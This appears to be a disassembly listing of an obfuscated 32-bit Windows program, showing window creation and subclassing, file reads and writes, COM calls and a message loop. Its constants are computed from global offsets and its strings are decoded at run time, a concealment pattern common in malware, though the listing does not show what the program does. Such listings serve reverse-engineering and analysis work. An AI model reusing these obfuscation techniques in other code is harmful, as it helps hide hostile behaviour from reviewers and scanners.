		sub	eax, 0Ch
		push	eax
		push	58h
		push	0CCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_4CC668[eax]
		call	ds:dword_448018
		push	offset word_552352
		call	sub_43AC94
		mov	[ebp+var_2D4], eax
		push	offset dword_552330
		call	sub_43AC94
		mov	[ebp+var_2D8], eax
		mov	edi, dword_5511F4
		sub	edi, 5
		push	edi
		push	[ebp+var_10C]
		mov	edi, dword_5510D4
		movsx	ebx, word_551140
		add	edi, ebx
		sub	edi, 0Ch
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2DC], eax
		mov	edi, eax
		push	ds:dword_4CC65C[edi]
		mov	edi, dword_551200
		add	edi, 3Dh
		push	edi
		push	[ebp+var_120]
		mov	edi, dword_551264
		add	edi, 4Ch
		push	edi
		movsx	edi, word_551234
		movsx	ebx, word_551144
		lea	edi, [edi+ebx+91h]
		push	edi
		push	50000000h
		mov	edi, [ebp+var_2D8]
		push	edi
		mov	edi, [ebp+var_2D4]
		push	edi
		mov	edi, dword_5511B8
		sub	edi, 7
		push	edi
		call	ds:dword_4CDA3C
		mov	[ebp+var_25C], eax
		push	1
		push	[ebp+var_130]
		push	30h
		push	eax
		call	ds:dword_448018
		push	offset word_552326
		call	sub_43AC94
		mov	[ebp+var_2E0], eax
		push	offset dword_55230C
		call	sub_43AC94
		add	esp, 18h
		mov	[ebp+var_2E4], eax
		mov	edi, dword_55117C
		sub	edi, 5
		push	edi
		push	[ebp+var_10C]
		mov	edi, dword_551198
		add	edi, dword_5511F0
		sub	edi, 0Ch
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E8], eax
		mov	edi, eax
		push	ds:dword_4CC65C[edi]
		movsx	edi, word_551170
		add	edi, 16h
		push	edi
		movsx	edi, word_551168
		add	edi, 97h
		push	edi
		movsx	edi, word_551228
		mov	ebx, dword_551238
		lea	edi, [edi+ebx+0EBh]
		mov	ebx, dword_551204
		add	ebx, 20h
		sub	edi, ebx
		push	edi
		mov	edi, dword_551174
		add	edi, 9
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2E4]
		push	edi
		mov	edi, [ebp+var_2E0]
		push	edi
		mov	edi, dword_551218
		movsx	ebx, word_55112C
		add	edi, ebx
		sub	edi, 6
		push	edi
		call	ds:dword_4CDA3C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2EC], eax
		mov	ebx, eax
		mov	ds:dword_4CC66C[ebx], edi
		push	1
		push	[ebp+var_130]
		mov	eax, 30h
		push	30h
		mul	esi
		mov	[ebp+var_2F0], eax
		push	ds:dword_4CC66C[eax]
		call	ds:dword_448018
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2F8], eax
		push	ds:dword_4CC660[eax]
		call	ds:dword_4CEA18
		mov	edi, [ebp+var_2F8]
		mov	ds:dword_4CC670[edi], eax
		push	offset sub_444FE7
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2FC], eax
		push	ds:dword_4CC660[eax]
		call	ds:dword_44B5AC
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_300], eax
		mov	[ebp+var_304], eax
		push	ds:dword_4CC668[eax]
		call	ds:dword_4CEA18
		mov	edi, [ebp+var_304]
		mov	ds:dword_4CC678[edi], eax
		push	offset sub_444FE7
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_308], eax
		push	ds:dword_4CC668[eax]
		call	ds:dword_44B5AC
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_30C], eax
		mov	[ebp+var_310], eax
		push	ds:dword_4CC664[eax]
		call	ds:dword_4CEA18
		mov	edi, [ebp+var_310]
		mov	ds:dword_4CC674[edi], eax
		push	offset sub_444FE7
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_314], eax
		push	ds:dword_4CC664[eax]
		call	ds:dword_44B5AC
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_318], eax
		mov	[ebp+var_31C], eax
		push	ds:dword_4CC65C[eax]
		call	ds:dword_4CEA18
		mov	edi, [ebp+var_31C]
		mov	ds:dword_4CC67C[edi], eax
		push	offset sub_444FE7
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_320], eax
		push	ds:dword_4CC65C[eax]
		call	ds:dword_44B5AC
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_324], eax
		push	ds:dword_4CC660[eax]
		call	ds:dword_48B9FC


loc_43DF16:				; CODE XREF: sub_43CD37+10j
					; sub_43CD37+32j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43CD37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DF1B	proc near		; DATA XREF: .data:00551308o
		push	ebp
		mov	ebp, esp
		push	offset dword_44B5B8
		call	ds:dword_48B9F8
		mov	eax, ds:dword_44B5B8
		pop	ebp
		retn	4
sub_43DF1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DF32	proc near		; CODE XREF: sub_4467C4+663p
					; DATA XREF: sub_441AE5+54o

var_104		= byte ptr -104h
var_FF		= byte ptr -0FFh
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		movsx	eax, word_551268
		sub	eax, 3
		push	eax
		push	80h
		push	4
		mov	eax, dword_55124C
		sub	eax, 5
		push	eax
		movsx	eax, word_55112C
		sub	eax, 5
		push	eax
		push	40000000h
		push	offset dword_4CC330
		call	ds:dword_54FC18
		mov	edi, eax
		movsx	eax, word_5510E4
		add	eax, dword_55118C
		mov	dl, [ebp+arg_0]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_5510E8
		add	eax, dword_5511B4
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		movsx	eax, word_551194
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_55001C
		push	edi
		call	ds:dword_4CDA48
		pop	edi
		leave
		retn
sub_43DF32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DFC4	proc near		; CODE XREF: sub_43CD37+525p
					; sub_43CD37+541p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_44797C
		push	esi
		push	edi
		push	5
		push	[ebp+arg_0]
		call	ds:dword_448004
		mov	edi, eax


loc_43DFE0:				; CODE XREF: sub_43DFC4+82j
		mov	eax, dword_5511B4
		movsx	edx, word_551214
		add	eax, edx
		sub	eax, 4
		cmp	edi, eax
		jnz	short loc_43DFF9
		xor	eax, eax
		jmp	short loc_43E048
; ---------------------------------------------------------------------------


loc_43DFF9:				; CODE XREF: sub_43DFC4+2Fj
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	ds:dword_449FD0
		mov	eax, dword_551118
		sub	eax, 8
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_442127
		add	esp, 0Ch
		mov	esi, dword_551150
		add	esi, 0FFFBh
		cmp	esi, eax
		jz	short loc_43E03B
		mov	eax, edi
		jmp	short loc_43E048
; ---------------------------------------------------------------------------


loc_43E03B:				; CODE XREF: sub_43DFC4+71j
		push	2
		push	edi
		call	ds:dword_448004
		mov	edi, eax
		jmp	short loc_43DFE0
; ---------------------------------------------------------------------------


loc_43E048:				; CODE XREF: sub_43DFC4+33j
					; sub_43DFC4+75j
		pop	edi
		pop	esi
		leave
		retn
sub_43DFC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E04C	proc near		; CODE XREF: sub_43EC94+299p

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_5511BC
		add	eax, dword_5510BC
		sub	eax, 4
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4441D8
		add	esp, 0Ch
		mov	[ebp+var_54], eax
		mov	eax, dword_55122C
		dec	eax
		cmp	eax, [ebp+var_54]
		jnz	loc_43E2F0
		mov	[ebp+var_18], 8
		push	offset dword_5522FC
		call	sub_43AEDD
		pop	ecx
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_8]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		mov	eax, dword_551200
		movsx	edx, word_5511C8
		add	eax, edx
		sub	eax, 0Ah
		cmp	eax, ebx
		jnz	loc_43E2D4
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_552A44
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_55116C
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_43E2CB
		mov	eax, dword_551114
		sub	eax, 2
		mov	[ebp+var_28], eax
		mov	[ebp+var_30], 2
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_40]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_551158
		add	eax, dword_551184
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_43E2C2
		mov	eax, dword_5511D0
		sub	eax, 3
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_552A54
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_55120C
		cmp	eax, ebx
		jnz	loc_43E2B9
		inc	ds:dword_44B5D0
		mov	eax, dword_5510B4
		inc	eax
		movsx	edx, word_551140
		add	eax, edx
		cmp	ds:dword_44B5D0, eax
		jb	short loc_43E1C0
		movsx	eax, word_551268
		add	eax, 7
		mov	ds:dword_44B5D0, eax
		push	[ebp+var_4]
		call	sub_442CE5
		pop	ecx
		jmp	loc_43E2B0
; ---------------------------------------------------------------------------


loc_43E1C0:				; CODE XREF: sub_43E04C+155j
		mov	eax, dword_551118
		add	eax, dword_5511E0
		sub	eax, 12h
		mov	[ebp+var_50], eax
		lea	eax, [ebp+var_48]
		push	eax
		push	ds:dword_44801C
		call	sub_43E369
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_4C]
		push	eax
		push	ds:dword_4CD920
		call	sub_43E369
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	ds:dword_449FD4
		call	sub_43E369
		add	esp, 18h
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_4C], 0
		jz	short loc_43E22D
		cmp	[ebp+var_38], 0
		jz	short loc_43E22D
		push	43h
		lea	eax, [ebp+var_50]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_4C]
		push	[ebp+var_38]
		call	sub_445895
		add	esp, 14h


loc_43E22D:				; CODE XREF: sub_43E04C+1C2j
					; sub_43E04C+1C8j
		cmp	[ebp+var_44], 0
		jz	short loc_43E250
		cmp	[ebp+var_3C], 0
		jz	short loc_43E250
		push	50h
		lea	eax, [ebp+var_50]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_44]
		push	[ebp+var_3C]
		call	sub_445895
		add	esp, 14h


loc_43E250:				; CODE XREF: sub_43E04C+1E5j
					; sub_43E04C+1EBj
		cmp	[ebp+var_34], 0
		jz	short loc_43E273
		cmp	[ebp+var_48], 0
		jz	short loc_43E273
		push	44h
		lea	eax, [ebp+var_50]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_48]
		push	[ebp+var_34]
		call	sub_445895
		add	esp, 14h


loc_43E273:				; CODE XREF: sub_43E04C+208j
					; sub_43E04C+20Ej
		push	[ebp+var_38]
		call	ds:dword_44B5CC
		push	[ebp+var_34]
		call	ds:dword_44B5CC
		push	[ebp+var_3C]
		call	ds:dword_44B5CC
		movsx	eax, word_55112C
		movsx	edx, word_5510EC
		add	eax, edx
		sub	eax, 3
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4441D8
		add	esp, 0Ch


loc_43E2B0:				; CODE XREF: sub_43E04C+16Fj
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43E2B9:				; CODE XREF: sub_43E04C+134j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43E2C2:				; CODE XREF: sub_43E04C+102j
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43E2CB:				; CODE XREF: sub_43E04C+AEj
		mov	eax, [ebp+var_8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43E2D4:				; CODE XREF: sub_43E04C+86j
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_550034
		mov	eax, dword_55109C
		add	eax, dword_5511E4
		sub	eax, 0Ch
		cmp	ebx, eax
		jz	short $+2


loc_43E2F0:				; CODE XREF: sub_43E04C+34j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E04C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E2F5	proc near		; DATA XREF: sub_442767+Eo

var_1FFF	= byte ptr -1FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_550038
		push	offset dword_5522E4
		call	sub_43AC94
		movsx	edi, word_5510EC
		inc	edi
		push	edi
		push	eax
		lea	edi, [ebp+var_1FFF]
		push	edi
		call	sub_442127
		add	esp, 10h
		movsx	esi, word_5511C8
		movsx	ebx, word_551180
		lea	esi, [esi+ebx+0FFF6h]
		cmp	eax, esi
		jz	short loc_43E35F
		push	[ebp+arg_0]
		call	sub_446555
		pop	ecx


loc_43E35F:				; CODE XREF: sub_43E2F5+5Fj
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_43E2F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E369	proc near		; CODE XREF: sub_43BF49+18p
					; sub_43E04C+18Fp ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_54FC18
		mov	edi, eax
		mov	eax, dword_5511F8
		add	eax, 0FFFFFFF8h
		cmp	edi, eax
		jnz	short loc_43E3C8
		movsx	eax, word_5511A8
		add	eax, dword_55118C
		cmp	[ebp+arg_4], eax
		jz	short loc_43E3C4
		mov	eax, [ebp+arg_4]
		movsx	edx, word_5511CC
		movsx	ecx, word_551274
		add	edx, ecx
		sub	edx, 7
		mov	[eax], edx


loc_43E3C4:				; CODE XREF: sub_43E369+41j
		xor	eax, eax
		jmp	short loc_43E424
; ---------------------------------------------------------------------------


loc_43E3C8:				; CODE XREF: sub_43E369+2Fj
		movsx	eax, word_5511C8
		add	eax, dword_551158
		sub	eax, 8
		push	eax
		push	edi
		call	ds:dword_4CEA14
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	ds:dword_48B9EC
		mov	ebx, eax
		movsx	eax, word_551234
		sub	eax, 4
		push	eax
		cmp	[ebp+arg_4], 0
		jz	short loc_43E409
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_43E40F
; ---------------------------------------------------------------------------


loc_43E409:				; CODE XREF: sub_43E369+96j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_43E40F:				; CODE XREF: sub_43E369+9Ej
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	ds:dword_448034
		push	edi
		call	ds:dword_4CDA48
		mov	eax, ebx


loc_43E424:				; CODE XREF: sub_43E369+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E369	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E429	proc near		; CODE XREF: sub_43E491+16p
		push	edi
		push	offset byte_5522D5
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_5512A8, eax
		movsx	eax, word_551188
		sub	eax, 5
		cmp	dword_5512A8, eax
		jnz	short loc_43E46A
		push	offset word_5522C6
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_5512A8, eax


loc_43E46A:				; CODE XREF: sub_43E429+28j
		push	offset dword_5522B0
		call	sub_43AC94
		pop	ecx
		push	eax
		push	dword_5512A8
		call	ds:dword_44B1AC
		mov	ds:dword_448028, eax
		pop	edi
		retn
sub_43E429	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E489	proc near		; DATA XREF: .data:005512D4o
		mov	eax, 80004001h
		retn	18h
sub_43E489	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E491	proc near		; DATA XREF: sub_43F4C7+Co
					; sub_43F4C7+15o ...

var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_14D		= byte ptr -14Dh
var_14C		= dword	ptr -14Ch
var_147		= byte ptr -147h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 264h
		push	ebx
		push	esi
		push	edi
		call	sub_43E9BF
		call	sub_441DD6
		call	sub_43E429
		call	sub_43B841
		call	sub_43A8C0
		call	sub_443F15
		call	sub_444A15
		call	sub_441EAC
		call	sub_445BAD
		call	sub_44018C
		call	sub_43F26D
		call	sub_445E14
		call	sub_43F031
		mov	ebx, eax


loc_43E4E0:				; CODE XREF: sub_43E491+B2j
		call	sub_43FB57
		mov	edx, eax
		mov	[ebp+var_14D], dl
		movsx	eax, word_551170
		inc	eax
		movzx	edx, [ebp+var_14D]
		cmp	eax, edx
		jnz	short loc_43E518
		mov	eax, dword_5511E0
		movsx	edx, word_551228
		add	eax, edx
		sub	eax, 0Eh
		push	eax
		call	ds:dword_54EA60


loc_43E518:				; CODE XREF: sub_43E491+6Dj
		movzx	eax, [ebp+var_14D]
		movsx	edx, word_551140
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43E545
		mov	eax, dword_551138
		add	eax, 59h
		add	eax, dword_5510A8
		push	eax
		call	ds:dword_50EA24
		pop	ecx
		jmp	short loc_43E4E0
; ---------------------------------------------------------------------------


loc_43E545:				; CODE XREF: sub_43E491+9Aj
		call	ds:dword_54EB70
		mov	[ebp+var_48], eax
		mov	eax, dword_551208
		add	eax, dword_551124
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_43E66C
		push	0FFh
		lea	eax, [ebp+var_24C]
		push	eax
		mov	eax, dword_551238
		movsx	edx, word_551214
		add	eax, edx
		sub	eax, 9
		push	eax
		push	400h
		call	ds:dword_44B5A8
		movsx	eax, [ebp+var_24C]
		add	[ebp+var_48], eax
		push	offset byte_5522A5
		call	sub_43AC94
		mov	[ebp+var_25C], eax
		push	offset byte_55229B
		call	sub_43AC94
		push	eax
		mov	edi, [ebp+var_25C]
		push	edi
		lea	edi, [ebp+var_147]
		push	edi
		call	ds:dword_50EA28
		lea	eax, [ebp+var_147]
		push	eax
		push	0
		mov	eax, dword_551204
		add	eax, dword_551134
		sub	eax, 0Bh
		push	eax
		call	ds:dword_4CEA0C
		mov	esi, eax
		push	offset asc_55228F ; "\b"
		call	sub_43AC94
		mov	[ebp+var_260], eax
		push	offset byte_552285
		call	sub_43AC94
		push	dword_5511D4
		push	eax
		mov	edi, [ebp+var_260]
		push	edi
		lea	edi, [ebp+var_147]
		push	edi
		call	ds:dword_50EA28
		add	esp, 2Ch
		lea	eax, [ebp+var_147]
		push	eax
		push	1
		mov	eax, dword_551204
		sub	eax, 3
		push	eax
		call	ds:dword_4CEA0C
		mov	esi, eax
		mov	eax, dword_5511E4
		sub	eax, 5
		cmp	eax, esi
		jnz	short loc_43E653
		mov	eax, dword_551230
		sub	eax, 4
		push	eax
		call	ds:dword_54EA60


loc_43E653:				; CODE XREF: sub_43E491+1B1j
		movsx	eax, word_551120
		mov	edx, dword_5510B8
		lea	eax, [eax+edx-0Ch]
		push	eax
		push	esi
		call	ds:dword_50EA20


loc_43E66C:				; CODE XREF: sub_43E491+CDj
		movsx	eax, word_5511CC
		add	eax, dword_5510A8
		sub	eax, 5
		add	eax, [ebp+var_48]
		push	eax
		call	ds:dword_4CE9F4
		mov	eax, dword_551148
		add	eax, dword_55122C
		sub	eax, 8
		push	eax
		call	ds:dword_44B598
		mov	[ebp+var_14C], eax
		call	sub_43EF58
		mov	eax, dword_5511E4
		sub	eax, 5
		mov	[ebp+var_3C], eax
		push	offset byte_55227B
		call	sub_43AC94
		mov	[ebp+var_20], eax
		mov	eax, dword_551218
		add	eax, dword_5510DC
		sub	eax, 8
		mov	[ebp+var_2C], eax
		mov	eax, dword_551090
		dec	eax
		mov	[ebp+var_38], eax
		mov	[ebp+var_28], 5
		movsx	eax, word_551214
		sub	eax, 3
		mov	[ebp+var_30], eax
		mov	[ebp+var_44], 3
		mov	eax, dword_551230
		sub	eax, 5
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_14C]
		mov	[ebp+var_34], eax
		lea	eax, sub_43BC33
		mov	[ebp+var_40], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	ds:dword_44B090
		mov	edi, [ebp+var_20]
		movsx	eax, byte ptr [edi]
		movsx	ecx, [ebp+var_24C]
		cdq
		idiv	ecx
		mov	[ebp+var_258], eax
		push	offset byte_552271
		call	sub_43AC94
		mov	[ebp+var_264], eax
		push	offset byte_552267
		call	sub_43AC94
		mov	edi, dword_551134
		sub	edi, 8
		push	edi
		push	[ebp+var_14C]
		mov	edi, dword_5511F4
		sub	edi, 5
		push	edi
		movsx	edi, word_551274
		dec	edi
		push	edi
		mov	edi, dword_551154
		sub	edi, 7
		push	edi
		movsx	edi, word_551224
		movsx	edx, word_551260
		add	edi, edx
		sub	edi, 0Bh
		push	edi
		movsx	edi, word_5511BC
		mov	edx, edi
		sub	edx, 5
		push	edx
		add	edi, dword_5511B4
		sub	edi, 6
		push	edi
		push	0CA0000h
		push	eax
		mov	edi, [ebp+var_264]
		push	edi
		movsx	edi, word_55115C
		sub	edi, 3
		push	edi
		call	ds:dword_4CDA3C
		mov	ds:dword_44B5C0, eax
		lea	eax, [ebp+var_250]
		push	eax
		push	[ebp+var_14C]
		call	sub_4464E5
		mov	[ebp+var_254], eax
		mov	ds:dword_4CEA00, eax
		mov	eax, [ebp+var_250]
		mov	ds:dword_44B5C4, eax
		push	0
		call	sub_43FCCD
		add	esp, 1Ch
		mov	eax, dword_5510B8
		sub	eax, 8
		cmp	ebx, eax
		jnz	short loc_43E81F
		call	sub_443F03
		movsx	eax, word_5510D8
		add	eax, dword_551130
		sub	eax, 0Ch
		mov	ds:dword_50EA2C, eax
		jmp	short loc_43E834
; ---------------------------------------------------------------------------


loc_43E81F:				; CODE XREF: sub_43E491+370j
		mov	eax, dword_5510C0
		add	eax, 3A94h
		add	eax, dword_551138
		mov	ds:dword_50EA2C, eax


loc_43E834:				; CODE XREF: sub_43E491+38Cj
		push	offset sub_43CB55
		call	sub_43AD8B
		pop	ecx
		mov	eax, dword_551174
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 5
		cmp	eax, ebx
		jnz	short loc_43E883
		call	sub_441AE5
		call	sub_4461CC
		call	sub_442C15
		call	sub_43A324
		call	sub_442A78
		jmp	short loc_43E883
; ---------------------------------------------------------------------------


loc_43E86F:				; CODE XREF: sub_43E491+430j
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_54EC00
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_449018


loc_43E883:				; CODE XREF: sub_43E491+3C1j
					; sub_43E491+3DCj
		mov	eax, dword_5510D0
		add	eax, dword_55122C
		sub	eax, 5
		push	eax
		mov	eax, dword_551098
		movsx	edx, word_551110
		add	eax, edx
		sub	eax, 3
		push	eax
		movsx	eax, word_551120
		add	eax, dword_5510DC
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4CC648
		or	eax, eax
		jnz	short loc_43E86F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_43E491	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E8CA	proc near		; CODE XREF: sub_440485+3DCp
					; sub_440485+4EFp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		movsx	edi, word_551214
		add	edi, dword_55113C
		sub	edi, 0Ch
		cmp	edx, edi
		jnz	short loc_43E8F5
		mov	eax, [ebp+arg_0]
		jmp	short loc_43E90F
; ---------------------------------------------------------------------------


loc_43E8F5:				; CODE XREF: sub_43E8CA+24j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	[ebp+var_8], eax
		mov	edi, eax
		mul	esi
		mov	[ebp+var_C], eax
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_4], edi
		mov	eax, edi


loc_43E90F:				; CODE XREF: sub_43E8CA+29j
		pop	edi
		pop	esi
		leave
		retn
sub_43E8CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E913	proc near		; CODE XREF: sub_43B045+AFp
					; sub_43B045+FEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, esi
		and	eax, [ebp+arg_8]
		mov	edx, esi
		not	edx
		and	edx, [ebp+arg_C]
		or	eax, edx
		add	eax, [ebp+arg_18]
		add	eax, [ebp+arg_10]
		add	eax, edi
		mov	edi, eax
		push	[ebp+arg_14]
		push	edi
		call	sub_4420F4
		add	esp, 8
		mov	edi, esi
		add	edi, eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_43E913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E94C	proc near		; DATA XREF: .data:off_551304o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		push	offset byte_550140
		push	edi
		call	ds:dword_50EA3C
		or	eax, eax
		jnz	short loc_43E988
		push	offset dword_552A24
		push	edi
		call	ds:dword_50EA3C
		or	eax, eax
		jnz	short loc_43E988
		push	offset dword_5529E4
		push	edi
		call	ds:dword_50EA3C
		or	eax, eax
		jz	short loc_43E998


loc_43E988:				; CODE XREF: sub_43E94C+1Aj
					; sub_43E94C+2Aj
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		push	dword ptr [esi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43E9B0
; ---------------------------------------------------------------------------


loc_43E998:				; CODE XREF: sub_43E94C+3Aj
		mov	eax, dword_5510DC
		movsx	edx, word_551224
		add	eax, edx
		sub	eax, 9
		mov	[esi], eax
		mov	eax, 80004002h


loc_43E9B0:				; CODE XREF: sub_43E94C+4Aj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_43E94C	endp


; =============== S U B	R O U T	I N E =======================================



